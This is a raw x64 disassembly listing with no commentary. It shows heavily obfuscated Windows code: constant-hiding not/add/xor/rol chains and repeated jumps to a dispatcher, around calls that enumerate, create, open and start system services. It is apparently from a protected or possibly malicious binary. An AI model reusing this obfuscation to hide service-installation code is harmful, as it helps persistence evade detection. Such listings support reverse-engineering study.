add eax, 0x6a911d56
xor eax, 0x6e9260e4
rol eax, 0x82
popf
pushf
not eax
add eax, 0x7421595
xor eax, 0x3a72b6bb
rol eax, 1
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x4910854f
pushf
not eax
add eax, 0x398c5b8f
xor eax, 0xbd2af2a
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x54bcfea1
xor eax, 0x66d6c3f4
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xc291d6f
xor eax, 0x21e3e901
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x7978f44d
xor eax, 0x56d5c368
rol eax, 0x99
popf
jmp 0x1400a2fec
mov ecx, 0x4e40261a
pushf
not ecx
add ecx, 0x63ba717f
xor ecx, 0x726298c
rol ecx, 0x16
popf
pushf
not ecx
add ecx, 0x72e8b141
xor ecx, 0x41813b3b
rol ecx, 0xc8
popf
pushf
not ecx
add ecx, 0x35e2d9a5
xor ecx, 0x10807fc1
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0x6a5446e3
xor ecx, 0x5d1ee6cd
rol ecx, 0x69
popf
call fcn.140101332
mov rsi, rax
mov dword [rbp - 0x10], r13d
lea r9, [rbp - 0x10]
mov r8d, 0x4d124b4f
pushf
not r8d
add r8d, 0x315b2e2a
xor r8d, 0x85d4653
rol r8d, 0xc7
popf
pushf
not r8d
add r8d, 0x7742f690
xor r8d, 0x19c34789
rol r8d, 0x7b
popf
pushf
not r8d
add r8d, 0x7a34592c
xor r8d, 0x532d384c
rol r8d, 0x5e
popf
pushf
not r8d
add r8d, 0x4de4a983
xor r8d, 0x6583c935
rol r8d, 0xb4
popf
mov rdx, rax
mov rcx, rdi
jmp 0x1400a46aa
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x1400a46e7
push rax
pushf
mov eax, 0x917000b
pushf
not eax
add eax, 0x3ad65e1e
xor eax, 0x2dacc91a
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xeaf0298
xor eax, 0x372c8fb6
rol eax, 0x47
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x469b5ede
pushf
not eax
add eax, 0x2c41570b
xor eax, 0x1b24e31e
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x3ceb944e
xor eax, 0x2b6decd1
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x7df13f33
xor eax, 0x1b172d05
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x7303bdec
xor eax, 0x3652d76
rol eax, 0x55
popf
jmp 0x1400a2fec
lea rdx, [0x19301e2fe]
pushf
sub rdx, 0x52fef80e
popf
mov rcx, qword [rsi + 0x10]
jmp 0x1400a4757
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400a47ac
push rax
pushf
mov eax, 0x9d714c77
pushf
not eax
add eax, 0x6c17cd02
xor eax, 0x45949103
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x7f3a7a46
xor eax, 0x61e0d7d5
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x5a88f701
xor eax, 0x2d42c0c
rol eax, 0x25
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xb4e33275
pushf
not eax
add eax, 0x454e42f0
xor eax, 0x86b6600
rol eax, 0x87
popf
pushf
not eax
add eax, 0x2acce183
xor eax, 0x2a91b336
rol eax, 0x39
popf
jmp 0x1400a2fec
mov rcx, rdi
jmp 0x1400a47e3
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push rax
pushf
mov eax, 0xce300e13
pushf
not eax
add eax, 0x968ff21
xor eax, 0x128a568c
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x14c4bd72
xor eax, 0x30ffc16d
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xd685504
xor eax, 0x266ca6ef
rol eax, 0x77
popf
pushf
not eax
add eax, 0x1ca5c443
xor eax, 0x319d0536
rol eax, 0x85
popf
jmp 0x1400a2fec
inc ebx
cmp ebx, dword [rbp - 0x1c]
jb 0x1400a48a3
push rax
pushf
mov eax, 0x197d6360
pushf
not eax
add eax, 0x1e6f8b4e
xor eax, 0x549ced48
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x52a39cb6
xor eax, 0x25a87c2a
rol eax, 0x89
popf
pushf
not eax
add eax, 0x64251c31
xor eax, 0x1cb16ef8
rol eax, 0x97
popf
pushf
not eax
add eax, 0x5cfc701d
xor eax, 0x5287b585
rol eax, 0x70
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x2537adbc
pushf
not eax
add eax, 0x72d1f0e2
xor eax, 0x45139dac
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x7bc7a1c3
xor eax, 0x2aaf4382
rol eax, 0x15
popf
pushf
not eax
add eax, 0x333fca9d
xor eax, 0x79c74a50
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x67904b74
xor eax, 0x215ce981
rol eax, 0x15
popf
jmp 0x1400a2fec
mov rcx, r15
call fcn.140100bbf
mov dword [rbp - 0x20], r13d
mov dword [rbp - 0x1c], r13d
mov qword [rsp + 0x38], r13
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov edx, 0x83f10d5c
pushf
not edx
add edx, 0x1e75b222
xor edx, 0xd2259e3
rol edx, 0x2e
popf
pushf
not edx
add edx, 0x43c1e113
xor edx, 0xe70e9c2
rol edx, 0xb1
popf
pushf
not edx
add edx, 0x66db939
xor edx, 0x6096fd27
rol edx, 0x15
popf
mov r8d, 0xb159290c
pushf
not r8d
add r8d, 0x78a7b4b
xor r8d, 0x4bd338f3
rol r8d, 0x28
popf
pushf
not r8d
add r8d, 0x471cc917
xor r8d, 0x1b135d99
rol r8d, 0x23
popf
pushf
not r8d
add r8d, 0x26bfe87
xor r8d, 0x556fb83
rol r8d, 0x94
popf
mov rcx, r14
jmp 0x1400a49c4
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x1400a4a27
push rax
pushf
mov eax, 0xa4917d38
pushf
not eax
add eax, 0x5cdf2a1f
xor eax, 0x40993d41
rol eax, 0x34
popf
pushf
not eax
add eax, 0x74fa3de4
xor eax, 0x15305e1d
rol eax, 0x57
popf
pushf
not eax
add eax, 0x540d9abd
xor eax, 0x85f5883
rol eax, 0x63
popf
pushf
not eax
add eax, 0x20066fea
xor eax, 0x5e1301b9
rol eax, 0x30
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xaef3b014
pushf
not eax
add eax, 0x5b504817
xor eax, 0x51667ccd
rol eax, 0xb
popf
pushf
not eax
add eax, 0x7bb5b24e
xor eax, 0x4cbaf2af
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x3ca7c954
xor eax, 0x429a48a1
rol eax, 0x19
popf
jmp 0x1400a2fec
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x1400a4ab2
push rax
pushf
mov eax, 0xb125766f
pushf
not eax
add eax, 0x17d45809
xor eax, 0x6af6d60f
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x107ddeaa
xor eax, 0x600eb2d7
rol eax, 0x3f
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xe0fdd6ef
pushf
not eax
add eax, 0x400f21bc
xor eax, 0x484eafef
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x6104db91
xor eax, 0x2820c4af
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x7dd12dac
xor eax, 0x656feb39
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x5950d172
xor eax, 0x3e59b48a
rol eax, 0xe6
popf
jmp 0x1400a2fec
mov eax, dword [rbp - 0x20]
add eax, 0x30
mov dword [rbp - 0x20], eax
mov ecx, eax
call fcn.140101332
mov rdi, rax
mov qword [rsp + 0x38], r13
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov ecx, dword [rbp - 0x20]
mov dword [rsp + 0x20], ecx
mov r9, rdi
mov edx, 0x54c42f85
pushf
not edx
add edx, 0x1776d2c
xor edx, 0x6f94c4c5
rol edx, 0xa5
popf
pushf
not edx
add edx, 0x5551e9f7
xor edx, 0x17ba7699
rol edx, 0xac
popf
pushf
not edx
add edx, 0x21b995f9
xor edx, 0x4f1c78e6
rol edx, 7
popf
pushf
not edx
add edx, 0x241b2887
xor edx, 0x30d35a19
rol edx, 0x4c
popf
mov r8d, 0x30c3bc51
pushf
not r8d
add r8d, 0x27c2845
xor r8d, 0x2d973a6
rol r8d, 0x28
popf
pushf
not r8d
add r8d, 0x280fdde
xor r8d, 0x12f6f972
rol r8d, 0x9f
popf
pushf
not r8d
add r8d, 0x63f590d9
xor r8d, 0x60bfea
rol r8d, 0x8a
popf
pushf
not r8d
add r8d, 0x472984c8
xor r8d, 0x2bc9ac9d
rol r8d, 0x20
popf
mov rcx, r14
jmp 0x1400a4c06
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x1400a4c5a
push rax
pushf
mov eax, 0xd1389a65
pushf
not eax
add eax, 0x61b18f0e
xor eax, 0x1a489c50
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x7dad6e13
xor eax, 0x70752e68
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x528f6a07
xor eax, 0xe997147
rol eax, 0x24
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xf77fe84
pushf
not eax
add eax, 0xf455ddf
xor eax, 0x12d45a9c
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x65a1d638
xor eax, 0x5181e6ec
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x3e1f10a6
xor eax, 0x5e7180c5
rol eax, 0x2a
popf
jmp 0x1400a2fec
mov ebx, r13d
cmp dword [rbp - 0x1c], r13d
jbe 0x1400a4cdc
push rax
pushf
mov eax, 0xf2b3b607
pushf
not eax
add eax, 0x77def3f2
xor eax, 0x67dcb48a
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x72b15f25
xor eax, 0x2199a2d9
rol eax, 0x67
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x86ea4bf0
pushf
not eax
add eax, 0x292288dd
xor eax, 0x5b824ec6
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x5754bfec
xor eax, 0x291ff789
rol eax, 0x90
popf
pushf
not eax
add eax, 0x3513a2e3
xor eax, 0x5bf74a44
rol eax, 0x95
popf
jmp 0x1400a2fec
nop word [rax + rax]
push rax
pushf
mov eax, 0xe69db3d3
pushf
not eax
add eax, 0x703173a4
xor eax, 0x5d71351f
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x53c885a2
xor eax, 0x3f5406fa
rol eax, 0x90
popf
jmp 0x1400a2fec
mov eax, ebx
lea rcx, [rax + rax*2]
add rcx, rcx
movups xmm6, xmmword [rdi + rcx*8 + 0x10]
lea rdx, [0x1a153614c]
pushf
sub rdx, 0x614fec2c
popf
mov rcx, qword [rdi + rcx*8]
jmp 0x1400a4d80
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x1400a4de4
push rax
pushf
mov eax, 0x9d5176c1
pushf
not eax
add eax, 0x252c1df1
xor eax, 0x4fc71d36
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x6be2aeec
xor eax, 0x193956
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x1fb87633
xor eax, 0x3b1334ba
rol eax, 0x75
popf
pushf
not eax
add eax, 0x5228600
xor eax, 0x3d5f49c5
rol eax, 0x66
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x87e15189
pushf
not eax
add eax, 0x43fd36bd
xor eax, 0xb8d065b
rol eax, 0x88
popf
pushf
not eax
add eax, 0x5a25c84c
xor eax, 0x49601962
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x79f173a6
xor eax, 0x2609b0d1
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x260187ee
xor eax, 0x3706eb0b
rol eax, 0x32
popf
jmp 0x1400a2fec
psrldq xmm6, 4
movd eax, xmm6
add eax, 0xfffffffe
test eax, 0xfffffffd
je 0x1400a4e9a
push rax
pushf
mov eax, 0x5be0ac0b
pushf
not eax
add eax, 0x3e01f5b8
xor eax, 0x614945b
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x76268c3e
xor eax, 0x339466b1
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x63404056
xor eax, 0x43d86d10
rol eax, 0xaf
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x85ea4d82
pushf
not eax
add eax, 0x640f243f
xor eax, 0x7b20fc2a
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xd7bbae2
xor eax, 0x255a6620
rol eax, 0x62
popf
jmp 0x1400a2fec
inc ebx
cmp ebx, dword [rbp - 0x1c]
jb 0x1400a4f2e
push rax
pushf
mov eax, 0xab06edf9
pushf
not eax
add eax, 0x4811c78f
xor eax, 0x3bce566a
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x75959797
xor eax, 0x5eb3a548
rol eax, 0xba
popf
pushf
not eax
add eax, 0x2cfad8eb
xor eax, 0x487e5161
rol eax, 0x57
popf
pushf
not eax
add eax, 0xcd723f3
xor eax, 0x245682cb
rol eax, 0x65
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xe6a1fee8
pushf
not eax
add eax, 0x5ad372e2
xor eax, 0x223ac4ee
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x50e31ca8
xor eax, 0x17a10d2e
rol eax, 0x36
popf
pushf
not eax
add eax, 0x7dc20e7
xor eax, 0x48a83629
rol eax, 0
popf
pushf
not eax
add eax, 0x67a4b744
xor eax, 0x1eef8921
rol eax, 0xcf
popf
jmp 0x1400a2fec
mov rcx, rdi
call fcn.140100bbf
cmp qword [r12 + 0x18], 0xf
jbe 0x1400a4fdd
push rax
pushf
mov eax, 0x13dd93f4
pushf
not eax
add eax, 0xc3c352
xor eax, 0xa076f31
rol eax, 0x27
popf
pushf
not eax
add eax, 0x18db776b
xor eax, 0x71209b44
rol eax, 0x24
popf
pushf
not eax
add eax, 0xd7b488
xor eax, 0x6f19f960
rol eax, 0x80
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x48facf55
pushf
not eax
add eax, 0x345f06be
xor eax, 0x6ded82a8
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x74784146
xor eax, 0x74ab80ad
rol eax, 0x75
popf
pushf
not eax
add eax, 0x57f534dc
xor eax, 0x6820b31c
rol eax, 1
popf
pushf
not eax
add eax, 0x4354d0f2
xor eax, 0x6e6656e0
rol eax, 0xdc
popf
jmp 0x1400a2fec
mov r12, qword [r12]
push rax
pushf
mov eax, 0xd3d74c52
pushf
not eax
add eax, 0x555ee280
xor eax, 0x7a8bf414
rol eax, 0x74
popf
pushf
not eax
add eax, 0x4515cde6
xor eax, 0x125d8677
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x5d0cdbf7
xor eax, 0x3f712762
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x5bfc2d41
xor eax, 0x3bed08c0
rol eax, 8
popf
jmp 0x1400a2fec
lea r8, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r8, qword [rbp]
lea rdx, [rbp]
cmova rdx, qword [rbp]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0x8c8acf24
pushf
not r9d
add r9d, 0x7ae6ef97
xor r9d, 0x45f5248a
rol r9d, 0x30
popf
pushf
not r9d
add r9d, 0x6180122a
xor r9d, 0x3a7409c3
rol r9d, 0x74
popf
pushf
not r9d
add r9d, 0x53dbe898
xor r9d, 0x4fa67961
rol r9d, 0xf4
popf
mov rcx, r14
jmp 0x1400a5131
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
test rax, rax
jne 0x1400a5185
push rax
pushf
mov eax, 0xeb128b4a
pushf
not eax
add eax, 0x8737f5
xor eax, 0x49af33e3
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x11bc53dd
xor eax, 0x7da2b6eb
rol eax, 0x32
popf
pushf
not eax
add eax, 0x75929c2c
xor eax, 0x7d1d76a2
rol eax, 0xc2
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xd2f5a347
pushf
not eax
add eax, 0x9009e3b
xor eax, 0x24c5b370
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x745937cf
xor eax, 0x75d08c85
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x7c094f2a
xor eax, 0x1c8513a1
rol eax, 0x1a
popf
jmp 0x1400a2fec
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8d, 0xdfdab844
pushf
not r8d
add r8d, 0x3c54564c
xor r8d, 0x6bfe50b9
rol r8d, 0xdb
popf
pushf
not r8d
add r8d, 0xffb8857
xor r8d, 0x4735136a
rol r8d, 0x88
popf
pushf
not r8d
add r8d, 0x5947f282
xor r8d, 0x4eed6708
rol r8d, 0x5f
popf
mov rcx, r14
jmp 0x1400a522e
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
jne 0x1400a5282
push rax
pushf
mov eax, 0x1e5418b0
pushf
not eax
add eax, 0x6a83110
xor eax, 0x748a3564
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x5fc62cd0
xor eax, 0x364f69ed
rol eax, 0xd
popf
pushf
not eax
add eax, 0x37fd0184
xor eax, 0x5a4b5197
rol eax, 0xa
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xa820741e
pushf
not eax
add eax, 0x3c53f8a3
xor eax, 0x7269b1a2
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x84901a0
xor eax, 0x6caf9d2b
rol eax, 0x3b
popf
jmp 0x1400a2fec
mov rcx, r14
jmp 0x1400a52b9
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400a54aa
mov rcx, r15
call fcn.140100bbf
mov rcx, rdi
jmp 0x1400a5316
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400a4904
xor r8d, r8d
xor edx, edx
mov rcx, rbx
jmp 0x1400a5370
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
setne dil
mov rcx, rbx
jmp 0x1400a5380
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
jmp 0x1400a538a
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400a54e0
mov rcx, rdi
jmp 0x1400a5472
mov rcx, r15
push rax
pushf
mov eax, 0x8048b425
pushf
not eax
add eax, 0x24c7ecc0
xor eax, 0x17398124
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x64a1320d
xor eax, 0x607dd45
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x2c407941
xor eax, 0x47293a74
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x1c2428c2
xor eax, 0x75fc2c13
rol eax, 0x92
popf
jmp 0x1400a2fec
call fcn.140100bbf
push rax
pushf
mov eax, 0x75a5aa93
pushf
not eax
add eax, 0x66b9a4a5
xor eax, 0x5458be86
rol eax, 0x69
popf
pushf
not eax
add eax, 0x1582c8cb
xor eax, 0x7ef999b3
rol eax, 0x80
popf
jmp 0x1400a2fec
xor dil, dil
push rax
pushf
mov eax, 0xe805b61
pushf
not eax
add eax, 0x4aaaa1c1
xor eax, 0x55468781
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x410f824e
xor eax, 0xc59221e
rol eax, 0x1c
popf
jmp 0x1400a2fec
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400a551d
push rax
pushf
mov eax, 0xdd12cc6a
pushf
not eax
add eax, 0x2b70988d
xor eax, 0x76b70fd4
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xa3178d0
xor eax, 0x5dff5541
rol eax, 0x12
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xa3535ea0
pushf
not eax
add eax, 0x6e1ddfeb
xor eax, 0x1faa56f8
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x4ba9d9
xor eax, 0x7cece783
rol eax, 0xd8
popf
jmp 0x1400a2fec
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a55bc
push rax
pushf
mov eax, 0x6f84ffa9
pushf
not eax
add eax, 0xf8b4ccc
xor eax, 0x36f32ca2
rol eax, 0x46
popf
pushf
not eax
add eax, 0x7d8a1a0
xor eax, 0x252cd88f
rol eax, 0x30
popf
pushf
not eax
add eax, 0x704d27b4
xor eax, 0x52ffcd75
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x6dbf3695
xor eax, 0x3333f440
rol eax, 0xd0
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x6a646c38
pushf
not eax
add eax, 0x7d1a4b66
xor eax, 0x210d1022
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x30deb75a
xor eax, 0x4c627a8b
rol eax, 0x2d
popf
jmp 0x1400a2fec
add rdx, 0x27
mov rcx, qword [rcx - 8]
push rcx
not rcx
add rax, rcx
pop rcx
add rax, 1
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a5653
push rax
pushf
mov eax, 0x636cc7a7
pushf
not eax
add eax, 0x4668a075
xor eax, 0x4468dab4
rol eax, 0xa
popf
pushf
not eax
add eax, 0x713d602b
xor eax, 0x65ac17d6
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x463613ad
xor eax, 0x360e3800
rol eax, 0xc1
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xd3258d5c
pushf
not eax
add eax, 0x31d3429c
xor eax, 0x4ac51444
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x1280545f
xor eax, 0x89c2ffd
rol eax, 0x73
popf
pushf
not eax
add eax, 0x263f1b26
xor eax, 0xdb646bc
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x6889d167
xor eax, 0x3ddfe3a1
rol eax, 0x7f
popf
jmp 0x1400a2fec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140100bbf
push rax
pushf
mov eax, 0x5665946c
pushf
not eax
add eax, 0x51712893
xor eax, 0x5a9b13f5
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x5c61c08
xor eax, 0x5222dbd8
rol eax, 0x77
popf
pushf
not eax
add eax, 0x1a50f99f
xor eax, 0x4dff6a52
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x6a3a407a
xor eax, 0x583da427
rol eax, 0xac
popf
jmp 0x1400a2fec
movzx eax, dil
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400ff118
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret